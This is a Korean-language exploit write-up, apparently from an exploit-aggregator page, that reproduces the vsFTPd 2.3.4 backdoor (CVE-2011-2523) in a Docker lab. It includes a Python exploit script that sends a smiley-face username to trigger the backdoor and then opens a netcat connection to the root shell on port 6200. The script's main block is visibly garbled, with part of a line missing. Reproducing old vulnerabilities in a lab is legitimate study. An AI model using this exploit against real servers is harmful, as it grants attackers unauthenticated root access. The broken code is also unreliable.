Share
## https://sploitus.com/exploit?id=CC3F6C15-182F-53F6-A5CC-812D37F1F047
# vsFTPd 2.3.4 백도어 취약점(CVE-2011-2523) μž¬ν˜„

## 취약점 정보

[CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)은 vsFTPd 2.3.4 버전에 μ‘΄μž¬ν•˜λŠ” **백도어 취약점**μž…λ‹ˆλ‹€. 이 취약점은 κ³΅κ²©μžκ°€ FTP μ„œλ²„μ— νŠΉμ • μ‚¬μš©μž 이름(`:)` 포함)을 μ „μ†‘ν•˜λ©΄ **포트 6200**μ—μ„œ **루트 κΆŒν•œ μ‰˜**을 μ—΄ 수 있게 ν•©λ‹ˆλ‹€. μ΄λŠ” κ°œλ°œμžκ°€ μ˜λ„μ μœΌλ‘œ μ‚½μž…ν•œ λ°±λ„μ–΄λ‘œ, 인증 없이 μ‹œμŠ€ν…œμ— μ ‘κ·Ό κ°€λŠ₯ν•΄ 맀우 치λͺ…μ μž…λ‹ˆλ‹€. 이 취약점은 2011λ…„ λ°œκ²¬λ˜μ–΄ 패치(vsFTPd 2.3.5 이상)λ˜μ—ˆμœΌλ©°, 곡식 μ•„μΉ΄μ΄λΈŒμ—μ„œλŠ” μ œκ±°λ˜μ—ˆμ§€λ§Œ, ν…ŒμŠ€νŠΈμš©μœΌλ‘œ μž¬ν˜„ κ°€λŠ₯ν•©λ‹ˆλ‹€.

## μ‹œλ‚˜λ¦¬μ˜€

1. κ³΅κ²©μžκ°€ vsFTPd 2.3.4 μ„œλΉ„μŠ€μ— μ‚¬μš©μž 이름(예: AAAA:))을 ν¬ν•¨ν•œ 자격 증λͺ…을 μš”μ²­ν•©λ‹ˆλ‹€.
2. μ„œλ²„κ°€ 백도어λ₯Ό νŠΈλ¦¬κ±°ν•˜μ—¬ **포트 6200/TCP**μ—μ„œ 루트 κΆŒν•œ μ‰˜μ„ μ—½λ‹ˆλ‹€.
3. κ³΅κ²©μžκ°€ netcat(nc)으둜 포트 6200에 μ—°κ²°ν•΄ μ‹œμŠ€ν…œ μ œμ–΄κΆŒμ„ νšλ“ν•©λ‹ˆλ‹€.

## μž¬ν˜„ ν™˜κ²½ μ„€μ •

곡식 vsFTPd 2.3.4 μ•„μΉ΄μ΄λΈŒλŠ” μ œκ±°λ˜μ—ˆμ§€λ§Œ, [GitHub repository](https://github.com/clintmint/vsftpd-2.3.4-container)λ₯Ό ν™œμš©ν•΄ Docker둜 μ·¨μ•½ν•œ μ„œλ²„λ₯Ό ꡬ좕할 수 μžˆμŠ΅λ‹ˆλ‹€.

### 1. 취약점 μ„œλ²„ ꡬ동

``` shell
docker run --name victim -p 21:21 -p 6200:6200 -it clintmint/vsftpd-2.3.4:1.0 sh -c "start-vsftpd && sh"
```

- -p 21:21: FTP μ„œλΉ„μŠ€ 포트 λ§€ν•‘.
- -p 6200:6200: 백도어 μ‰˜ 포트 λ§€ν•‘.
- start-vsftpd: vsFTPd μ„œλΉ„μŠ€ μ‹œμž‘.
### 2. μ΅μŠ€ν”Œλ‘œμž‡ κ΅¬ν˜„

이 취약점은 트리거 쑰건이 λ‹¨μˆœν•©λ‹ˆλ‹€.
μ‚¬μš©μž 이름에 `:)`λ₯Ό ν¬ν•¨ν•˜κ³ , μž„μ˜ λΉ„λ°€λ²ˆν˜Έλ‘œ FTP μš”μ²­ ν›„ 포트 6200에 μ—°κ²°ν•˜λ©΄ 셸을 νšλ“ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
μ•„λž˜λŠ” Python으둜 κ΅¬ν˜„ν•œ μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œμž…λ‹ˆλ‹€.

``` python
import socket  
import subprocess  
import time  
import sys  
  
def exploit(ip, port = 21):  
  _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  _socket.settimeout(5)  
  _socket.connect((ip, int(port)))  
  _socket.recv(4096)  
  _socket.send(b"USER AAAA:)\r\n")  
  _socket.recv(4096)  
  _socket.send(b"PASS anything\r\n")  
  _socket.close()  
  
def connect_shell(ip):  
  try:  
    subprocess.run(["nc", ip, "6200"])  
  except KeyboardInterrupt:  
    print("\nInterrupted by user.")  
  
if __name__ == "__main__":  
  if len(sys.argv)  2 else 21)  
  time.sleep(1)  
  connect_shell(sys.argv[1])
```